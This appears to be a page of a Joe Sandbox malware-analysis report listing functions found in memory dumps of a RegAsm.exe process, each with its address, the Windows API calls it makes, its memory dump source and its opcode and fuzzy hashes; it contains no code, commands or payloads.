Opcode ID: 63140263c14b473e0fcf34c712371364055a38e3875ceb2393323fe1995887aa
Instruction ID: f05b2350dc35ec13730b67fb8c3f6416af4586536cae35898668f325c8f0a5da
Opcode Fuzzy Hash: 63140263c14b473e0fcf34c712371364055a38e3875ceb2393323fe1995887aa
Instruction Fuzzy Hash: 344126B5A003059FDB14CF99C448FAABBF5FF88714F248969E519AB320D734A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00BB4248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00BB59F1

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b4caddca59866598741105ce5ab3aef287cc5cc1e8e24c0dd90447f56839cdec
Instruction ID: c8ac4bb779eca754cc36c3278ca84054c627e2518c166d0e3120a7c4837a0127
Opcode Fuzzy Hash: b4caddca59866598741105ce5ab3aef287cc5cc1e8e24c0dd90447f56839cdec
Instruction Fuzzy Hash: 2641BD71D00719CBEB24DFA9C884B9DBBF5FB48314F20816AD408BB251DBB5A946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB5935 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00BB59F1

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 327a25c4711aea7de2f68bc8b78574d05daf316a974ad31d7d6aa93b14c35b38
Instruction ID: 47e0099278c6ba158fd3b5f417d81853f36fadafd4c3c2daa55f00ae2714b774
Opcode Fuzzy Hash: 327a25c4711aea7de2f68bc8b78574d05daf316a974ad31d7d6aa93b14c35b38
Instruction Fuzzy Hash: CA41DD71D00729CBEB24DFA9C884B9DBBF5BF48314F20816AD408BB251DBB56946CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00BBC9A0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00BBD2C6,?,?,?,?,?), ref: 00BBD387

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 77ff6ff2ce1004a1087032992d2e02d85e0afa83b85a90e26df2278e8413aeb1
Instruction ID: 8b5146e2bf03ee84d5132dc7f3e5d7b2cb2b251618d3b06cf558eefa87c23e41
Opcode Fuzzy Hash: 77ff6ff2ce1004a1087032992d2e02d85e0afa83b85a90e26df2278e8413aeb1
Instruction Fuzzy Hash: D421E6B5D003489FDB10CF9AD984BEEBBF4EB48324F14845AE918A3310D778A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00BBD2F9 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00BBD2C6,?,?,?,?,?), ref: 00BBD387

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 89f2b778218b32d00bab0513e127cba8beff07006478c492f2e92919d3c515c2
Instruction ID: f285e690b2523d021a7eddc109ee18ccec11a8ea04bd8567717f1e4cea461182
Opcode Fuzzy Hash: 89f2b778218b32d00bab0513e127cba8beff07006478c492f2e92919d3c515c2
Instruction Fuzzy Hash: 0C2112B5D00209DFDB10CFA9D580AEEBBF5EB48320F14841AE918A3310D778A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00BBA870 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00BBB101,00000800,00000000,00000000), ref: 00BBB312

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8adbdec9c12d45c6b0e135b2f4474d61d10530610b876907c4a0a43de2b3caa6
Instruction ID: 2a992c6962d17577c833bcdb76fcdca43935d0c8b5da56307cba5ff87ffce365
Opcode Fuzzy Hash: 8adbdec9c12d45c6b0e135b2f4474d61d10530610b876907c4a0a43de2b3caa6
Instruction Fuzzy Hash: 411114B6D003499FDB20CF9AC444AEEFBF4EB48321F10846ED919A7200C7B5A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00BBB2A0 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,00BBB101,00000800,00000000,00000000), ref: 00BBB312

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7c47139f0f61ced2ab0d8217cb2578249588e2b4822b7978da5bcb6bf13e5537
Instruction ID: 964dce470d7d5ae2617c3f82f046aefa7f704d4254ba1b33b3080427182df193
Opcode Fuzzy Hash: 7c47139f0f61ced2ab0d8217cb2578249588e2b4822b7978da5bcb6bf13e5537
Instruction Fuzzy Hash: 661114B6D002498FDB24CF9AC544AEEFBF4EB48310F10845ED519A7200C7B4A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00BBB020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00BBB086

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 94b056a4026ba83e8a13b4872c669ebf4906d31ab6aab8f3b04981ee8cb62aef
Instruction ID: 513627b9c983a3e25e5c441c8bd6542476aed0892e637304ce49aede8ef756d1
Opcode Fuzzy Hash: 94b056a4026ba83e8a13b4872c669ebf4906d31ab6aab8f3b04981ee8cb62aef
Instruction Fuzzy Hash: F211D4B5C007498FDB20DF9AC544ADEFBF4EB48324F14845AD469A7610C3B5A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DA59D8 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

d, xrefs: 05DA5C29

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: fe1cb9e2e4c7948bed9242fb585b06aef95e5e1a4434bd5392a4005dc7527bcd
Instruction ID: ef016cd69096b7f325618eca258235fa946128c6fcfcdfb483af7820de673a15
Opcode Fuzzy Hash: fe1cb9e2e4c7948bed9242fb585b06aef95e5e1a4434bd5392a4005dc7527bcd
Instruction Fuzzy Hash: 0DC14A35601602DFCB24CF28D480D6ABBF2FF89310B19CA9AD55A8B665D730FD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05D81BA0 Relevance: 1.4, Instructions: 1439COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e892f94e5b631c79ab556cf36f2f5f8a3ca91c40c37174e6608daf54d5890bb
Instruction ID: ad506031a63b99309c731ab3b97eb5bbcec77abf2afb0363aba0c8f097dc6320
Opcode Fuzzy Hash: 1e892f94e5b631c79ab556cf36f2f5f8a3ca91c40c37174e6608daf54d5890bb
Instruction Fuzzy Hash: 90C25D74B002189FDB15DB64C854BADBBB6FF88704F108099E60AAB3A1DB71ED45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05DA3721 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

(q, xrefs: 05DA3764

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: ba9a29531347b86fabbce98d6f046a243eabe2fca9855afe12436ec2b081fba9
Instruction ID: 3bacb92e53973ed26a614902174016b9e2bac5b840c4e15d8cfcbeb08d65c9d7
Opcode Fuzzy Hash: ba9a29531347b86fabbce98d6f046a243eabe2fca9855afe12436ec2b081fba9
Instruction Fuzzy Hash: B5417776B002418FDB15CF64C484A6AFBF3FF89314B29895AE45AEB351DB34E841CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DA3DE0 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

4'q, xrefs: 05DA3F25

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: d68d4510782c8a22293a954e25100ff041b37705bb360a577d14ec2e12520142
Instruction ID: 3137ba095afeca029446c273c76bc8167daf345c0bc1df1819193e363aa02065
Opcode Fuzzy Hash: d68d4510782c8a22293a954e25100ff041b37705bb360a577d14ec2e12520142
Instruction Fuzzy Hash: ED31E6327043504FCB16A778A45056E7BE79FC661131989ABE545CF352DE21ED0783E2

Uniqueness

Uniqueness Score: -1.00%

Function 05DA84D7 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

4'q, xrefs: 05DA85B1

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: a825936cdcddc6793a1b989971c064cbce211f68e7415766a044eefe44cbfca2
Instruction ID: ab18f937881f1d62dcf900f2164000defb9b8dd1f0354400a59989d1f81dc2af
Opcode Fuzzy Hash: a825936cdcddc6793a1b989971c064cbce211f68e7415766a044eefe44cbfca2
Instruction Fuzzy Hash: B5318075B002058BDB18EBB8E4A467F76D3AFC82057148539D61ADB384EE34CE0287D2

Uniqueness

Uniqueness Score: -1.00%

Function 05DAB358 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

4'q, xrefs: 05DAB399

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 5f0b185868ef2f1e11eac7363eafe20179d6c3959680f17ee62ff8ca36453c38
Instruction ID: 52a22bf463cb5bb692211076421090fa4ad7696be9b7f1838a4c96d66172de77
Opcode Fuzzy Hash: 5f0b185868ef2f1e11eac7363eafe20179d6c3959680f17ee62ff8ca36453c38
Instruction Fuzzy Hash: 6A018F34D15208EFDB44EFB8E846A9C7FB2BF44201F648179E805AB314EF345A49CB45

Uniqueness

Uniqueness Score: -1.00%

Function 05DAB368 Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

4'q, xrefs: 05DAB399

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 3b293a5b36718f223810f02ef6282e452d186eb612cd647a02f50c401bc56aaf
Instruction ID: 1beb3086bb2619566d224ff5e64bfd526a7803e28297c7c2c1d00a246ca3fa28
Opcode Fuzzy Hash: 3b293a5b36718f223810f02ef6282e452d186eb612cd647a02f50c401bc56aaf
Instruction Fuzzy Hash: 62F03C74E15208EFDB04EFB8E44695CBFB2BF84201B1485A9E806AB315EF346E49CF45

Uniqueness

Uniqueness Score: -1.00%

Function 05D800D8 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e286ec38e107d5899c80983bcf0f0ce25bb5ae1369ee0c5a8b7616485fbffbf5
Instruction ID: af8b4f77676ee20b2be23106a0f609acdf434d530dadbe4e5a4dcf2345c10664
Opcode Fuzzy Hash: e286ec38e107d5899c80983bcf0f0ce25bb5ae1369ee0c5a8b7616485fbffbf5
Instruction Fuzzy Hash: 0F429B30B007148FEB28AF75D45462EBAF2FBC6601B50895DD503AF3A5CB79ED058B86

Uniqueness

Uniqueness Score: -1.00%

Function 05D839D8 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f2f4d581156fccec379ff1e0fb09eadb3a9f417a3ef5a7e43a97d6e50646322
Instruction ID: 8890e98595220ec08b89dbf0f93d912f0b60e95a99e83585560ccc817d3c2d89
Opcode Fuzzy Hash: 0f2f4d581156fccec379ff1e0fb09eadb3a9f417a3ef5a7e43a97d6e50646322
Instruction Fuzzy Hash: 2E420734B002149FDB14DF69C994EAABBF6BF88704F15809AE50ADB3A1DA71ED41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05DA48B8 Relevance: .6, Instructions: 597COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975aece37dca90a709179f0e888ac8c54b8527197ce7cda91d86a5e48486f049
Instruction ID: 86a6e25fc4816e324cbb07f8783fae6861bb62a1d6d35838d9a54ada3eecf95a
Opcode Fuzzy Hash: 975aece37dca90a709179f0e888ac8c54b8527197ce7cda91d86a5e48486f049
Instruction Fuzzy Hash: 63326E757006018FDB14DF39C888A6ABBF2FF89305B1584A9E546CB366DB70EC46CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05D8060F Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941b4a7bbf696c231de21d6f067853863ab11ee798de385776a849cf1cbae6ae
Instruction ID: 7464906360d8a25b3737949eedb8e9d29b8c70d459d94ead2cd6c8b4ca1b57b6
Opcode Fuzzy Hash: 941b4a7bbf696c231de21d6f067853863ab11ee798de385776a849cf1cbae6ae
Instruction Fuzzy Hash: 68029F347007048FEB18AB65D858B3D7AB2FF8A700F51895AD5039F3A1CB79ED058B95

Uniqueness

Uniqueness Score: -1.00%

Function 05D80687 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8092f44a5ba9e721b9f526110183feb781476285579f5d524cc3e17c339bb91
Instruction ID: 1af0afcf60579753bf5d51590975a7f3810de51f52c8322705cea6c01af9572d
Opcode Fuzzy Hash: b8092f44a5ba9e721b9f526110183feb781476285579f5d524cc3e17c339bb91
Instruction Fuzzy Hash: 59E181347007048FEB14AB65C858B397BB2FF8AB04F11855AD9029F3A1CBB9ED45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05D806FF Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937869abe39facd442952179cbe41040cd6a823b833d22808ed862dc2f8fe55b
Instruction ID: e685b98f528260a6eb54e953b6e543c557cf21688e43a929b24b27abc6db153d
Opcode Fuzzy Hash: 937869abe39facd442952179cbe41040cd6a823b833d22808ed862dc2f8fe55b
Instruction Fuzzy Hash: 1CD182347007008FEB15AB65C858B397BB6FF8AB04F15845AEA02DB3A1CB75ED45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05D800B9 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8dc5943400012da2a51103f71531c92e927a5f876fbb724009dc6caff217bd
Instruction ID: f3a0c328c1328753c9ace0e0f462474b30b9f05e5ad212bb59d55194990e25ae
Opcode Fuzzy Hash: 2b8dc5943400012da2a51103f71531c92e927a5f876fbb724009dc6caff217bd
Instruction Fuzzy Hash: 0FC16F347003049FEB15AB65C858B397BE6FF8AB00F15845AEA02DB3A1CB75ED45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DA48A8 Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7231d041187715453ecab13fe10acb6af62393c3acdbde5ecf6afc0f01326d98
Instruction ID: 1a9a012c15429d9096eb351679ad55b209dad7d7cd5b5ae823b33a263495bcf6
Opcode Fuzzy Hash: 7231d041187715453ecab13fe10acb6af62393c3acdbde5ecf6afc0f01326d98
Instruction Fuzzy Hash: 94B16C35B006048FDB15DF39C488E6ABBF2BF89205B1584A9E446DB375DB70EC06CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05D83688 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acedf9652426debd628f76ade6efed3c1b2f804b6cde3dbf50cbfe86fd584a61
Instruction ID: 907f4e0cd58fd6625740603f68376cbf3ebd630ff7b9b6fcf0133b190b1c0f7f
Opcode Fuzzy Hash: acedf9652426debd628f76ade6efed3c1b2f804b6cde3dbf50cbfe86fd584a61
Instruction Fuzzy Hash: 27A16F35B002049FCB04DF69C894EAABBF2FF89710B158469E909EB3A1DB35ED45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05DA7D58 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9243ae48d930c527a30f6fe00e4090c6c8802162b241a3610515f0566611af19
Instruction ID: 3bd36a3423c8cb6f7fe79f26c3b69683fae242c6c752608a453178a5f11000e2
Opcode Fuzzy Hash: 9243ae48d930c527a30f6fe00e4090c6c8802162b241a3610515f0566611af19
Instruction Fuzzy Hash: 2A513672E003599FDB19CFA9C844B9EBBF6FF88310F14852AE415AB254DB749942CF80

Uniqueness

Uniqueness Score: -1.00%

Function 05DA59C8 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a0467d230e8cfca0002e5071e21368eb4e2819ce0a925dacfef5ddda56168b8
Instruction ID: 056bfbf945a5596c9f95570d7f44a05f1a7121c4a5b06964df624f2c7a1447dc
Opcode Fuzzy Hash: 1a0467d230e8cfca0002e5071e21368eb4e2819ce0a925dacfef5ddda56168b8
Instruction Fuzzy Hash: 61413936A00605DFCB14CF58D880EAABBF2FF89310B158A9AE5559B265D730F902CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DA7D57 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5386c0e89dfa8e6d61305c791860aa29075666104a068294ce59e6053ff04ddf
Instruction ID: f01bedd6a9ae6aaeb3234e3b257473ab4fdf558fc5e6b0308c69f3531d3acc14
Opcode Fuzzy Hash: 5386c0e89dfa8e6d61305c791860aa29075666104a068294ce59e6053ff04ddf
Instruction Fuzzy Hash: 14513671E00259DFDB29CFA9C985B9EBBF5FF48300F14852AE415AB284DB749946CF80

Uniqueness

Uniqueness Score: -1.00%

Function 05DA6E90 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936d596647d34aa39f1a1817db0af1553e211ecb4df0b06e7f91f739d35da96a
Instruction ID: 3e53fb3e9f5ede990828c3c1e54126dd73965611842265390adb666761ffb773
Opcode Fuzzy Hash: 936d596647d34aa39f1a1817db0af1553e211ecb4df0b06e7f91f739d35da96a
Instruction Fuzzy Hash: E7411875505F848FC725CF2AC480997FFF4AF99200B04896EE9DA87B22D270F905CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05DA5579 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32ee64a62547912d6568df3bdd913ca6ed8814fe35c133ac15748a1a0fc887ad
Instruction ID: 24074fc925ad00c3ca9106226fa011de1463f2e8f07c28a2b67f8d77b8fa1334
Opcode Fuzzy Hash: 32ee64a62547912d6568df3bdd913ca6ed8814fe35c133ac15748a1a0fc887ad
Instruction Fuzzy Hash: 12318075B012109FCF15DF34E84496EBBB2FF8A201B4484AAE905CB365DB31ED06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DA5588 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6091aad4d36fe4b1c6a844ba63c4f89a794653ee6a4547ee6cc9c53b48f6ef0
Instruction ID: db634f1450cb471be086904110fceaeeda80a565806d9bef8e09719c35a8e9cd
Opcode Fuzzy Hash: d6091aad4d36fe4b1c6a844ba63c4f89a794653ee6a4547ee6cc9c53b48f6ef0
Instruction Fuzzy Hash: 1A319C75B002109FCF15DF34E88496EBBB2FF8A241B448469E906CB365DB31ED06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05D8102F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05890da85958479a9d7b0233acd78d34751ce7ef267b3bae73cc2d057f693d5a
Instruction ID: 54aa4f0a79afaa3c040defabfe3799f9cbb87ce2ec2fc6cfc48efa2e0e86dfa2
Opcode Fuzzy Hash: 05890da85958479a9d7b0233acd78d34751ce7ef267b3bae73cc2d057f693d5a
Instruction Fuzzy Hash: 08312334B052409FDB05ABA9DC44A7ABBF7FF85210B15856BD016CB2E2CB34DC0ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 05DA87A0 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca48f1ed9470db94a77175e9440d53136dbf17c2d1ed4a967bd8043c590a705
Instruction ID: a2447b4beb3cf28025a0dd97708757d4ef0a6350d9d925b14fe72e1be6d1921a
Opcode Fuzzy Hash: 4ca48f1ed9470db94a77175e9440d53136dbf17c2d1ed4a967bd8043c590a705
Instruction Fuzzy Hash: A94103B2D012489FDB14DFAAD944ADEFFB6AF88310F10802AE815A7250DB34A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05DA8A98 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71fe50b29cf57af6e96655d2593abe789652c12330fa1f61b10fbfe6d48baa60
Instruction ID: 3a7b6e0dad01411fbfa274c3a3728b3f0893d4c58a2dbc0a8481eeedc5a17dd5
Opcode Fuzzy Hash: 71fe50b29cf57af6e96655d2593abe789652c12330fa1f61b10fbfe6d48baa60
Instruction Fuzzy Hash: 763112B2D012489FDB14CFA9D890BDEBBB5EF48311F14842AE809A7240CB74A846CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009DD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1432682347.00000000009DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_9dd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 274ba13264f90c449160f7b034f071facd40b4ed7d856e8ca6dc99a67d4c3043
Instruction ID: 087f2905792bc3a8c83fa224e851c996753be7079ee49cdb678eb9177cbc4ef0
